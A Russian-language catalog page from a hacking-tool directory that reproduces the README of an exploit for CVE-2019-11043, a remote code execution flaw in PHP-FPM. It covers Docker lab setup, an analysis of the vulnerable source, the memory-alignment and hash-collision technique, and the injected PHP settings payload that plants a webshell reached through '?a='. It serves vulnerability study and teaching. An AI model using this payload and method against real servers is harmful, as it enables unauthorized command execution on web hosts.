Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-11043 — PHP-FPM Remote Command Execution Exploit | Kitploit
Инструменты/GitHubGitHub/lindemer/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHublindemer/cve-2019-11043

CVE-2019-11043

PHP-FPM Remote Command Execution Exploit

Репозиторий
425 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-11043

Удаленное выполнение кода PHP-FPM

Screencast: https://youtu.be/d6benC5FVZM

Обзор

Этот эксплойт нулевого дня в распространенных конфигурациях PHP-FPM был обнаружен во время конкурса Realworld CTF в 2019 году. Регулярное выражение используется для разбора запрошенного URI, но символы новой строки %0a не сопоставляются. Это вызывает ошибку в FastCGI, которая неверно вычисляет длину строки запроса и записывает нулевой байт в позицию до начала предполагаемого буфера. Путем тщательного подбора длины строки запроса злоумышленник может использовать эту ошибку для перезаписи внутренних переменных PHP на сервере и выполнения произвольного шелл-кода.

Оригинальная реализация этого эксплойта на Go находится здесь. Я использовал её, статью и исходный отчет об ошибке в качестве учебных материалов для реализации эксплойта на Python.

Инструкции

Docker на Linux Запустите sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 для создания минимального сервера NGINX/PHP-FPM с пустым скриптом /script.php. Dockerfile для этого образа доступен здесь, хотя он не требуется для выполнения вышеуказанной команды.

Docker на Mac Запустите sudo docker-compose up -d из каталога /php/CVE-2019-11043 репозитория vulhub. (Compose входит в состав Docker для Mac.)

Запустите скрипт эксплойта командой python3 exploit.py http://localhost:8080/script.php (или /index.php, если использовался второй вариант). При успешном выполнении веб-шелл будет доступен путем добавления команд в URL после ?a= (например, http://localhost:8080/script.php?a=uname -a).

Примечание: Я пытался создать Ansible playbook для этого задания, но столкнулся с критической ошибкой, описанной здесь. Невозможно запустить systemd-сервисы на современных ядрах Linux (например, любой LTS-релиз Ubuntu) с помощью Ansible playbook.

Теория

Уязвимость

Конфигурационные файлы PHP-FPM содержат правило для сопоставления входящих URI-запросов с PHP-скриптами, которое часто выглядит так:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

Это должно сопоставлять любой URI вида /script.php/pathinfo, но точка . на самом деле не сопоставляет символ новой строки %0a. Если URI содержит новую строку, это вызовет следующую ошибку в реализации PHP:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

Проблема в том, что slen вычисляется правильно как длина URI минус длина пути к ресурсу, но pilen ошибочно устанавливается в 0. Это устанавливает path_info в отрицательное значение на строке 1151, что приводит к переполнению буфера вниз. Сразу после этого просчета в том же файле:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

На строке 1161 нулевой байт записывается в ошибочно вычисленную ячейку памяти с предыдущего шага. Это можно использовать для эксплуатации уязвимости на строке 1165, где FastCGI записывает переменную окружения. Записывая нулевой байт в указатель, управляющий операцией записи переменной окружения, мы можем вставлять произвольные переменные PHP в окружение с помощью наших HTTP-запросов.

Эксплойт

Внутренние структуры данных FastCGI

Переменные окружения в FastCGI хранятся в плотно упакованной последовательности пар строк «ключ-значение» в памяти. Начало и конец буфера, содержащего эти строки, называются _fcgi_data_seg. Член pos указывает на следующее доступное место для записи. Если буфер заполняется (pos > end), выделяется новый, а член next указывает на старый.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI обращается к отдельным переменным окружения с помощью хеш-таблицы под названием _fcgi_hash.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

Идея состоит в том, чтобы перезаписать наименее значащий байт pos для обмана FastCGI, заставив его перезаписать существующую переменную. Код предполагается должен взять строку, добавленную к нашему URI-пути, и поместить её в расположение PATH_INFO. Однако мы хотим перезаписать PHP_VALUE, потому что это значение сразу извлекается и загружается в настройки PHP после уязвимого сегмента кода.

Выравнивание данных

Как видно в exploit.py, общая идея этого эксплойта — найти очень длинный URI-запрос, который выровняет внутренний буфер памяти FastCGI таким образом, чтобы мы могли им злоупотребить. Идея состоит в том, чтобы найти точное количество символов, необходимое для выделения FastCGI нового буфера _fcgi_data_seg. Когда это происходит, FastCGI предсказуемо записывает наш PATH_INFO в новый буфер, а сразу после этого — каждый из наших HTTP-заголовков как новые значения окружения. Итак, следующий шаг — найти, сколько символов нужно для дополнения произвольного HTTP-заголовка, чтобы выровнять память для наших целей. Поскольку мы ограничены записью одного нулевого байта в произвольное место, нам нужно, чтобы pos указывал на предсказуемое смещение относительно PHP_VALUE, чтобы изменение наименее значащего байта переместило его туда.

Обход хеш-таблицы

Задача в том, что мы хотим перезаписать PHP_VALUE, но не знаем, где он находится в памяти. Когда FastCGI загружает эту переменную, он хеширует строку PHP_VALUE, чтобы получить фактический адрес памяти в соответствии с простым алгоритмом:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

Вместо того чтобы фактически как-то изменять хеш-таблицу, нам нужно лишь создать другую переменную окружения с такой же длиной строки и хешем, как у PHP_VALUE, в соответствии с этой функцией. Это обманет поиск по хешу, заставив его читать наш HTTP-заголовок вместо предполагаемой переменной. Автор этого эксплойта остроумно заметил, что заголовок с именем EBUT будет сохранен как HTTP_EBUT в окружении FastCGI, что удовлетворяет этому требованию.

Внедрение кода

Для самой атаки мы отправляем GET-запросы, содержащие наш заголовок EBUT, и используем ошибку перезаписи нулевым байтом, чтобы перезаписать его значение. Мы пытаемся установить PHP переменные окружения одну за другой с помощью повторных запросов:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`
\"
extension=\"$_GET[a]`?>\"

Успешная модификация всех этих переменных позволяет выполнить новый запрос ?a= на сервере для выполнения произвольного шелл-кода. Цикл атаки проверяет успешность на каждой итерации, пытаясь выполнить which which. Злоумышленник может легко обнаружить успех, прочитав результат из HTTP-ответа (например, /bin/which).

Скачать инструмент